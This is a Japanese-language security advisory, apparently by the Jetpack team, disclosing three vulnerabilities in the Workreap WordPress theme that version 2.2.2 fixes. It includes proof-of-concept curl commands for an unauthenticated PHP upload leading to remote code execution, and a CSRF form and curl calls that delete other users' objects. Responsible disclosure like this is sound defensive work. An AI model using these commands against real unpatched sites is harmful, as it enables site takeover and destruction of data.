AmentotechによるWorkreapテーマの複数の脆弱性

公開: 2021-07-07

最近、Jetpackチームは、ホストされている顧客のサイトの1つで感染したファイルをいくつか見つけ、感染の原因をAmentotechによるWorkreapテーマまでさかのぼって追跡しました。 調査を開始し、テーマ内の脆弱なAJAXエンドポイントをいくつか発見しました。 これらの中で最も深刻なのは、認証されていない未検証のアップロードの脆弱性であり、リモートでコードが実行され、サイト全体が乗っ取られる可能性があります。

Envato Helpful Hackerプログラムを介して脆弱性をAmentotechチームに報告し、問題は彼らによって迅速に対処されました。 テーマのバージョン2.2.2は、見つかった脆弱性を修正する2021年6月29日にリリースされました。

TL; DR

脆弱性は深刻であるため、Workreapテーマのすべてのユーザーは、できるだけ早くバージョン2.2.2以降にアップグレードすることを強くお勧めします。

テーマのウェブサイトからアップグレードをダウンロードして手動でインストールするか、Envatoマーケットプラグインを介して自動的にアップグレードします。

詳細

テーマ名: Workreap
テーマURI: http://amentotech.com/projects/wpworkreap
著者: Amentotech
著者URI: https://themeforest.net/user/amentotech/portfolio

脆弱性

脆弱性の深刻さのため、ユーザーがアップグレードする時間を与えるために、概念実証と完全な分析の投稿を延期します。

認証されていないアップロードがリモートコード実行につながる

影響を受けるバージョン: <2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284、CWE-641
CWSS: 90.7
WPScanリンク: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

AJAXアクションworkreap_award_temp_file_uploaderおよびworkreap_temp_file_uploaderは、ナンスチェックを実行しませんでした。または、要求が有効なユーザーからのものであることを他の方法で検証しませんでした。 エンドポイントは、 uploads/workreap-tempディレクトリに任意のファイルをアップロードすることを許可しました。 アップロードされたファイルはサニタイズも検証もされていないため、認証されていない訪問者はphpスクリプトなどの実行可能コードをアップロードできます。

コンセプトの証明

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

複数のCSRF+IDORの脆弱性

影響を受けるバージョン: <2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283、CWE-284、CWE-862
CWSS: 78.3
WPScanリンク: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Workreapテーマで使用可能ないくつかのAJAXアクションには、CSRF保護がなく、検証されていない安全でない直接オブジェクト参照(IDOR)が許可されていました。 これにより、攻撃者はログインしたユーザーをだまして脆弱なサイトにPOSTリクエストを送信し、ターゲットサイト上の任意のオブジェクトを変更または削除する可能性があります。

2.0.0より前のバージョンでは、これらのアクションは完全に認証されておらず、サイトへの訪問者は誰でも悪用できました。

コンセプトの証明

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

AJAXアクションでの承認チェックの欠落

影響を受けるバージョン: <2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283、CWE-862
CWSS: 68.5
WPScanリンク: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreapテーマで使用可能ないくつかのAJAXアクションには、ユーザーがオブジェクトの変更や削除などの重要な操作を実行することを許可されていることを確認するための許可チェックがありませんでした。 これにより、ログインしたユーザーは、サイト上の他のユーザーに属するオブジェクトを変更または削除できました。

2.0.0より前のバージョンでは、これらのアクションは完全に認証されておらず、サイトへの訪問者は誰でも悪用できました。

コンセプトの証明

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

タイムライン

2021-06-24:Jetpack Scanチームによって発見された最初のアップロードの脆弱性、EnvatoHelpfulHackerプログラムに報告されました。
2021-06-25:文書化されたさらなる脆弱性が発見され、AmentotechはEnvatoを介して通知しました。
2021-06-27:バージョン2.2.1がリリースされ、すべてではありませんが一部の脆弱性に対処しました。
2021-06-29:バージョン2.2.2がリリースされ、JetpackScanチームによって修正が検証されました。

結論

サイトで使用しているWorkreapテーマの現在のバージョンを確認し、2.2.2未満の場合は、できるだけ早く更新することをお勧めします。

Jetpackでは、お客様のWebサイトがこれらのタイプの脆弱性から保護されるように努めています。 新しい脅威の一歩先を行くには、セキュリティスキャンと自動マルウェア除去を含むJetpackScanをチェックしてください。

クレジット

元の研究者:Harald Eilertsen

フィードバック、ヘルプ、および修正を提供してくれたJetpackScanチームの残りのメンバーに感謝します。 また、Amentotechへの連絡を支援してくれたEnvato Helpful Hackerプログラムのkailoonと、問題に対処して更新されたバージョンをリリースする際の迅速な対応をしてくれたAmentotechに感謝します。